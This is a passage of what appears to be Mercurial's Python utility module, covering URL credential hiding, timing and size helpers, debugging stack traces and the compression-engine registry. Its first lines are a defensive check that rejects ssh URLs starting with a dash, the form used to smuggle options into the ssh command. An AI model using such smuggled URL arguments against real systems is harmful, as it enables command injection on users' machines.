     if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
         raise error.Abort(_('potentially unsafe url: %r') %
                           (path,))
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = '***'
     return bytes(u)
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return str(u)
 
 timecount = unitcountfn(
     (1, 1e3, _('%.0f s')),
     (100, 1, _('%.1f s')),
     (10, 1, _('%.2f s')),
     (1, 1, _('%.3f s')),
     (100, 0.001, _('%.1f ms')),
     (10, 0.001, _('%.2f ms')),
     (1, 0.001, _('%.3f ms')),
     (100, 0.000001, _('%.1f us')),
     (10, 0.000001, _('%.2f us')),
     (1, 0.000001, _('%.3f us')),
     (100, 0.000000001, _('%.1f ns')),
     (10, 0.000000001, _('%.2f ns')),
     (1, 0.000000001, _('%.3f ns')),
     )
 
 _timenesting = [0]
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         start = timer()
         indent = 2
         _timenesting[0] += indent
         try:
             return func(*args, **kwargs)
         finally:
             elapsed = timer() - start
             _timenesting[0] -= indent
             stderr.write('%s%s: %s\n' %
                          (' ' * _timenesting[0], func.__name__,
                           timecount(elapsed)))
     return wrapper
 
 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
               ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint(b'30')
     30
     >>> sizetoint(b'2.2kb')
     2252
     >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[:-len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_("couldn't parse size: %s") % s)
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [(fileline % (fn, ln), func)
         for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
         ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 def debugstacktrace(msg='stacktrace', skip=0,
                     f=stderr, otherf=stdout, depth=0):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write('%s at:\n' % msg.rstrip())
     for line in getstackframes(skip + 1, depth=depth):
         f.write(line)
     f.flush()
 
 class dirs(object):
     '''a multiset of directory names from a dirstate or manifest'''
 
     def __init__(self, map, skip=None):
         self._dirs = {}
         addpath = self.addpath
         if safehasattr(map, 'iteritems') and skip is not None:
             for f, s in map.iteritems():
                 if s[0] != skip:
                     addpath(f)
         else:
             for f in map:
                 addpath(f)
 
     def addpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if base in dirs:
                 dirs[base] += 1
                 return
             dirs[base] = 1
 
     def delpath(self, path):
         dirs = self._dirs
         for base in finddirs(path):
             if dirs[base] > 1:
                 dirs[base] -= 1
                 return
             del dirs[base]
 
     def __iter__(self):
         return iter(self._dirs)
 
     def __contains__(self, d):
         return d in self._dirs
 
 if safehasattr(parsers, 'dirs'):
     dirs = parsers.dirs
 
 def finddirs(path):
     pos = path.rfind('/')
     while pos != -1:
         yield path[:pos]
         pos = path.rfind('/', 0, pos)
 
 # compression code
 
 SERVERROLE = 'server'
 CLIENTROLE = 'client'
 
 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
                                                (u'name', u'serverpriority',
                                                 u'clientpriority'))
 
 class compressormanager(object):
     """Holds registrations of various compression engines.
 
     This class essentially abstracts the differences between compression
     engines to allow new compression formats to be added easily, possibly from
     extensions.
 
     Compressors are registered against the global instance by calling its
     ``register()`` method.
     """
     def __init__(self):
         self._engines = {}
         # Bundle spec human name to engine name.
         self._bundlenames = {}
         # Internal bundle identifier to engine name.
         self._bundletypes = {}
         # Revlog header to engine name.
         self._revlogheaders = {}
         # Wire proto identifier to engine name.
         self._wiretypes = {}
 
     def __getitem__(self, key):
         return self._engines[key]
 
     def __contains__(self, key):
         return key in self._engines
 
     def __iter__(self):
         return iter(self._engines.keys())
 
     def register(self, engine):
         """Register a compression engine with the manager.
 
         The argument must be a ``compressionengine`` instance.
         """
         if not isinstance(engine, compressionengine):
             raise ValueError(_('argument must be a compressionengine'))
 
         name = engine.name()
 
         if name in self._engines:
             raise error.Abort(_('compression engine %s already registered') %
                               name)
 
         bundleinfo = engine.bundletype()
         if bundleinfo:
             bundlename, bundletype = bundleinfo
 
             if bundlename in self._bundlenames:
                 raise error.Abort(_('bundle name %s already registered') %
                                   bundlename)
             if bundletype in self._bundletypes:
                 raise error.Abort(_('bundle type %s already registered by %s') %
                                   (bundletype, self._bundletypes[bundletype]))
 
             # No external facing name declared.
             if bundlename:
                 self._bundlenames[bundlename] = name
 
             self._bundletypes[bundletype] = name
 
         wiresupport = engine.wireprotosupport()
         if wiresupport:
             wiretype = wiresupport.name
             if wiretype in self._wiretypes:
                 raise error.Abort(_('wire protocol compression %s already '
                                     'registered by %s') %
                                   (wiretype, self._wiretypes[wiretype]))
 
             self._wiretypes[wiretype] = name
 
         revlogheader = engine.revlogheader()
         if revlogheader and revlogheader in self._revlogheaders:
             raise error.Abort(_('revlog header %s already registered by %s') %
                               (revlogheader, self._revlogheaders[revlogheader]))
 
         if revlogheader:
             self._revlogheaders[revlogheader] = name
 
         self._engines[name] = engine
 
     @property
     def supportedbundlenames(self):
         return set(self._bundlenames.keys())
 
     @property
     def supportedbundletypes(self):
         return set(self._bundletypes.keys())
 
     def forbundlename(self, bundlename):
         """Obtain a compression engine registered to a bundle name.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundlenames[bundlename]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forbundletype(self, bundletype):
         """Obtain a compression engine registered to a bundle type.
 
         Will raise KeyError if the bundle type isn't registered.
 
         Will abort if the engine is known but not available.
         """
         engine = self._engines[self._bundletypes[bundletype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def supportedwireengines(self, role, onlyavailable=True):
         """Obtain compression engines that support the wire protocol.
 
         Returns a list of engines in prioritized order, most desired first.
 
         If ``onlyavailable`` is set, filter out engines that can't be
         loaded.
         """
         assert role in (SERVERROLE, CLIENTROLE)
 
         attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
 
         engines = [self._engines[e] for e in self._wiretypes.values()]
         if onlyavailable:
             engines = [e for e in engines if e.available()]
 
         def getkey(e):
             # Sort first by priority, highest first. In case of tie, sort
             # alphabetically. This is arbitrary, but ensures output is
             # stable.
             w = e.wireprotosupport()
             return -1 * getattr(w, attr), w.name
 
         return list(sorted(engines, key=getkey))
 
     def forwiretype(self, wiretype):
         engine = self._engines[self._wiretypes[wiretype]]
         if not engine.available():
             raise error.Abort(_('compression engine %s could not be loaded') %
                               engine.name())
         return engine
 
     def forrevlogheader(self, header):
         """Obtain a compression engine registered to a revlog header.
 
         Will raise KeyError if the revlog header value isn't registered.
         """
         return self._engines[self._revlogheaders[header]]
 
 compengines = compressormanager()
 
 class compressionengine(object):
     """Base class for compression engines.
 
     Compression engines must implement the interface defined by this class.
     """
     def name(self):
         """Returns the name of the compression engine.
 
         This is the key the engine is registered under.
 
         This method must be implemented.
         """
         raise NotImplementedError()
 
     def available(self):
         """Whether the compression engine is available.
 
         The intent of this method is to allow optional compression engines
         that may not be available in all installations (such as engines relying
         on C extensions that may not be present).
         """
         return True
 
     def bundletype(self):
         """Describes bundle identifiers for this engine.
 
         If this compression engine isn't supported for bundles, returns None.
 
         If this engine can be used for bundles, returns a 2-tuple of strings of
         the user-facing "bundle spec" compression name and an internal
         identifier used to denote the compression format within bundles. To
         exclude the name from external usage, set the first element to ``None``.
 
         If bundle compression is supported, the class must also implement
         ``compressstream`` and `decompressorreader``.
 
         The docstring of this method is used in the help system to tell users
         about this engine.
         """
         return None
 
     def wireprotosupport(self):
         """Declare support for this compression format on the wire protocol.
 
         If this compression engine isn't supported for compressing wire
         protocol payloads, returns None.
 
         Otherwise, returns ``compenginewireprotosupport`` with the following
         fields:
 
         * String format identifier
         * Integer priority for the server
         * Integer priority for the client
 
         The integer priorities are used to order the advertisement of format
         support by server and client. The highest integer is advertised
         first. Integers with non-positive values aren't advertised.
 
         The priority values are somewhat arbitrary and only used for default
         ordering. The relative order can be changed via config options.
 
         If wire protocol compression is supported, the class must also implement
         ``compressstream`` and ``decompressorreader``.
         """
         return None
 
     def revlogheader(self):
         """Header added to revlog chunks that identifies this engine.
 
         If this engine can be used to compress revlogs, this method should
         return the bytes used to identify chunks compressed with this engine.
         Else, the method should return ``None`` to indicate it does not
         participate in revlog compression.
         """
         return None
 
     def compressstream(self, it, opts=None):
         """Compress an iterator of chunks.
 
         The method receives an iterator (ideally a generator) of chunks of
         bytes to be compressed. It returns an iterator (ideally a generator)
         of bytes of chunks representing the compressed output.
 
         Optionally accepts an argument defining how to perform compression.
         Each engine treats this argument differently.
         """
         raise NotImplementedError()
 
     def decompressorreader(self, fh):
         """Perform decompression on a file object.
 
         Argument is an object with a ``read(size)`` method that returns
         compressed data. Return value is an object with a ``read(size)`` that
         returns uncompressed data.
         """
         raise NotImplementedError()
 
     def revlogcompressor(self, opts=None):
         """Obtain an object that can be used to compress revlog entries.
 
         The object has a ``compress(data)`` method that compresses binary
         data. This method returns compressed binary data or ``None`` if
         the data could not be compressed (too small, not compressible, etc).
         The returned data should have a header uniquely identifying this
         compression format so decompression can be routed to this engine.
         This header should be identified by the ``revlogheader()`` return
         value.
 
         The object has a ``decompress(data)`` method that decompresses
         data. The method will only be called if ``data`` begins with
         ``revlogheader()``. The method should return the raw, uncompressed
         data or raise a ``RevlogError``.
 
         The object is reusable but is not thread safe.
         """
         raise NotImplementedError()
 
 class _zlibengine(compressionengine):
     def name(self):
         return 'zlib'
 
     def bundletype(self):
         """zlib compression using the DEFLATE algorithm.
 
         All Mercurial clients should support this format. The compression
         algorithm strikes a reasonable balance between compression ratio
         and size.
         """
         return 'gzip', 'GZ'
 
     def wireprotosupport(self):
         return compewireprotosupport('zlib', 20, 20)
 
     def revlogheader(self):
         return 'x'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
 
         z = zlib.compressobj(opts.get('level', -1))
         for chunk in it:
             data = z.compress(chunk)
             # Not all calls to compress emit data. It is cheaper to inspect
             # here than to feed empty chunks through generator.
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = zlib.decompressobj()
             for chunk in filechunkiter(fh):
                 while chunk:
                     # Limit output size to limit memory.
                     yield d.decompress(chunk, 2 ** 18)
                     chunk = d.unconsumed_tail
 
         return chunkbuffer(gen())
 
     class zlibrevlogcompressor(object):
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 44:
                 return None
 
             elif insize <= 1000000:
                 compressed = zlib.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
 
             # zlib makes an internal copy of the input buffer, doubling
             # memory usage for large inputs. So do streaming compression
             # on large inputs.
             else:
                 z = zlib.compressobj()
                 parts = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + 2**20
                     parts.append(z.compress(data[pos:pos2]))
                     pos = pos2
                 parts.append(z.flush())
 
                 if sum(map(len, parts)) < insize:
                     return ''.join(parts)
                 return None
 
         def decompress(self, data):
             try:
                 return zlib.decompress(data)
             except zlib.error as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         str(e))
 
     def revlogcompressor(self, opts=None):
         return self.zlibrevlogcompressor()
 
 compengines.register(_zlibengine())
 
 class _bz2engine(compressionengine):
     def name(self):
         return 'bz2'
 
     def bundletype(self):
         """An algorithm that produces smaller bundles than ``gzip``.
 
         All Mercurial clients should support this format.
 
         This engine will likely produce smaller bundles than ``gzip`` but
         will be significantly slower, both during compression and
         decompression.
 
         If available, the ``zstd`` engine can yield similar or better
         compression at much higher speeds.
         """
         return 'bzip2', 'BZ'
 
     # We declare a protocol name but don't advertise by default because
     # it is slow.
     def wireprotosupport(self):
         return compewireprotosupport('bzip2', 0, 0)
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         z = bz2.BZ2Compressor(opts.get('level', 9))
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         def gen():
             d = bz2.BZ2Decompressor()
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_bz2engine())
 
 class _truncatedbz2engine(compressionengine):
     def name(self):
         return 'bz2truncated'
 
     def bundletype(self):
         return None, '_truncatedBZ'
 
     # We don't implement compressstream because it is hackily handled elsewhere.
 
     def decompressorreader(self, fh):
         def gen():
             # The input stream doesn't have the 'BZ' header. So add it back.
             d = bz2.BZ2Decompressor()
             d.decompress('BZ')
             for chunk in filechunkiter(fh):
                 yield d.decompress(chunk)
 
         return chunkbuffer(gen())
 
 compengines.register(_truncatedbz2engine())
 
 class _noopengine(compressionengine):
     def name(self):
         return 'none'
 
     def bundletype(self):
         """No compression is performed.
 
         Use this compression engine to explicitly disable compression.
         """
         return 'none', 'UN'
 
     # Clients always support uncompressed payloads. Servers don't because
     # unless you are on a fast network, uncompressed payloads can easily
     # saturate your network pipe.
     def wireprotosupport(self):
         return compewireprotosupport('none', 0, 10)
 
     # We don't implement revlogheader because it is handled specially
     # in the revlog class.
 
     def compressstream(self, it, opts=None):
         return it
 
     def decompressorreader(self, fh):
         return fh
 
     class nooprevlogcompressor(object):
         def compress(self, data):
             return None
 
     def revlogcompressor(self, opts=None):
         return self.nooprevlogcompressor()
 
 compengines.register(_noopengine())
 
 class _zstdengine(compressionengine):
     def name(self):
         return 'zstd'
 
     @propertycache
     def _module(self):
         # Not all installs have the zstd module available. So defer importing
         # until first access.
         try:
             from . import zstd
             # Force delayed import.
             zstd.__version__
             return zstd
         except ImportError:
             return None
 
     def available(self):
         return bool(self._module)
 
     def bundletype(self):
         """A modern compression algorithm that is fast and highly flexible.
 
         Only supported by Mercurial 4.1 and newer clients.
 
         With the default settings, zstd compression is both faster and yields
         better compression than ``gzip``. It also frequently yields better
         compression than ``bzip2`` while operating at much higher speeds.
 
         If this engine is available and backwards compatibility is not a
         concern, it is likely the best available engine.
         """
         return 'zstd', 'ZS'
 
     def wireprotosupport(self):
         return compewireprotosupport('zstd', 50, 50)
 
     def revlogheader(self):
         return '\x28'
 
     def compressstream(self, it, opts=None):
         opts = opts or {}
         # zstd level 3 is almost always significantly faster than zlib
         # while providing no worse compression. It strikes a good balance
         # between speed and compression.
         level = opts.get('level', 3)
 
         zstd = self._module
         z = zstd.ZstdCompressor(level=level).compressobj()
         for chunk in it:
             data = z.compress(chunk)
             if data:
                 yield data
 
         yield z.flush()
 
     def decompressorreader(self, fh):
         zstd = self._module
         dctx = zstd.ZstdDecompressor()
         return chunkbuffer(dctx.read_from(fh))
 
     class zstdrevlogcompressor(object):
         def __init__(self, zstd, level=3):
             # Writing the content size adds a few bytes to the output. However,
             # it allows decompression to be more optimal since we can
             # pre-allocate a buffer to hold the result.
             self._cctx = zstd.ZstdCompressor(level=level,
                                              write_content_size=True)
             self._dctx = zstd.ZstdDecompressor()
             self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
             self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
 
         def compress(self, data):
             insize = len(data)
             # Caller handles empty input case.
             assert insize > 0
 
             if insize < 50:
                 return None
 
             elif insize <= 1000000:
                 compressed = self._cctx.compress(data)
                 if len(compressed) < insize:
                     return compressed
                 return None
             else:
                 z = self._cctx.compressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._compinsize
                     chunk = z.compress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 chunks.append(z.flush())
 
                 if sum(map(len, chunks)) < insize:
                     return ''.join(chunks)
                 return None
 
         def decompress(self, data):
             insize = len(data)
 
             try:
                 # This was measured to be faster than other streaming
                 # decompressors.
                 dobj = self._dctx.decompressobj()
                 chunks = []
                 pos = 0
                 while pos < insize:
                     pos2 = pos + self._decompinsize
                     chunk = dobj.decompress(data[pos:pos2])
                     if chunk:
                         chunks.append(chunk)
                     pos = pos2
                 # Frame should be exhausted, so no finish() API.
 
                 return ''.join(chunks)
             except Exception as e:
                 raise error.RevlogError(_('revlog decompress error: %s') %
                                         str(e))
 
     def revlogcompressor(self, opts=None):
         opts = opts or {}
         return self.zstdrevlogcompressor(self._module,
                                          level=opts.get('level', 3))
 
 compengines.register(_zstdengine())
 
 def bundlecompressiontopics():
     """Obtains a list of available bundle compressions for use in help."""
     # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
     items = {}
 
     # We need to format the docstring. So use a dummy object/type to hold it
     # rather than mutating the original.
     class docobject(object):
         pass
 
     for name in compengines:
         engine = compengines[name]
 
         if not engine.available():
             continue
 
         bt = engine.bundletype()
         if not bt or not bt[0]:
             continue
 
         doc = pycompat.sysstr('``%s``\n    %s') % (
             bt[0], engine.bundletype.__doc__)
 
         value = docobject()
         value.__doc__ = doc
         value._origdoc = engine.bundletype.__doc__
         value._origfunc = engine.bundletype
 
         items[bt[0]] = value
 
     return items
 
 i18nfunctions = bundlecompressiontopics().values()
 
 # convenient shortcut
 dst = debugstacktrace
 
 def safename(f, tag, ctx, others=None):
     """
     Generate a name that it is safe to rename f to in the given context.
 
     f:      filename to rename
     tag:    a string tag that will be included in the new name
     ctx:    a context, in which the new name must not exist
     others: a set of other filenames that the new name must not be in
 
     Returns a file name of the form oldname~tag[~number] which does not exist
     in the provided context and is not in the set of other names.
     """
     if others is None:
         others = set()
 
     fn = '%s~%s' % (f, tag)
     if fn not in ctx and fn not in others:
         return fn
     for n in itertools.count(1):
         fn = '%s~%s~%s' % (f, tag, n)
         if fn not in ctx and fn not in others:
             return fn